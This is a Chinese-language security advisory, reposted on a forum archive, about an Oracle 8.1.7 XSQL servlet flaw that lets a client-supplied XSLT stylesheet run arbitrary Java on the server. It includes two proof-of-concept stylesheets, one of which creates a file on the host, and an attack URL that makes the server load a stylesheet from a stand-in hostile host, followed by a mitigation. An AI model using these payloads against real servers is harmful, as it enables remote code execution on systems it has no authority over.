精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>网络专区>>● Internet>>
理论基础
>>★Internet冲浪宝典★>>::病毒.黑客.入侵及防御::>>安全指南

主题:安全指南
发信人: wangchi_cn(0)
整理人: snowypeng(2001-08-05 15:14:53), 站内信件


涉及程序: 
xml 
  
描述: 
Oracle允许在Web服务器上执行任意java代码漏洞 
  
详细: 
XSQL servlet 允许在系统中的任何地方指定 xslt 风格表。但这样也有可能通过 xslt 风格表在 Web 服务器上执行任意 java 代码,威胁系统的安全性。

Oracle 允许通过 xmlns 来扩展内建的 xslt 功能。"http://www.oracle.com/XSL/Transform/java/"使用这种名字空间就有可能嵌入 Java 对象并获得执行这些对象的方法。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


通过举例来说明这个问题:
--ora.xsl---string function, almost no effect---------------
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String" version="1.0">
<xsl:template match="/">
<html>
<h2>
Written by Georgi Guninski


</BR>
Java demo.
<xsl:variable name="str1" select="jstr:new('java on the server')" />
<xsl:value-of select="jstr:toUpperCase($str1)" />
</h2>
</html>
</xsl:template>
</xsl:stylesheet>
------------------------------------------------------------

--ora2.xsl----creates a file -------------------------------
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0">
<xsl:template match="/">
<html>
<h2>
Written by Georgi Guninski


</BR>
File "c:\winnt\georgigjava" created=
<xsl:variable name="r1" select="jstr:new('c:\\winnt\\georgigjava')" />
<xsl:value-of select="jstr:createNewFile($r1)" />
</h2>
</html>
</xsl:template>
</xsl:stylesheet>
-----------------------------------------------------------
假定文件 http://xsql-server/EXISTING.xsql 存在并已经被配置好(这些演示程序默认是安装在/xsql/java/demo/目录下),下面的URL:
http://xsql-server/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl
将通过 http://hostile/ora.xsl 在 XSQL-SERVER 上执行 Java 代码。

受影响的系统: 
Oracle 8.1.7  
  
解决方案: 
临时解决办法:
建议您在每个 xsql 页面中添加下面这一行:
allow-client-style="no" 
  
附加信息: 
http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm  

 



----
联系方式:  [email protected]

[关闭][返回]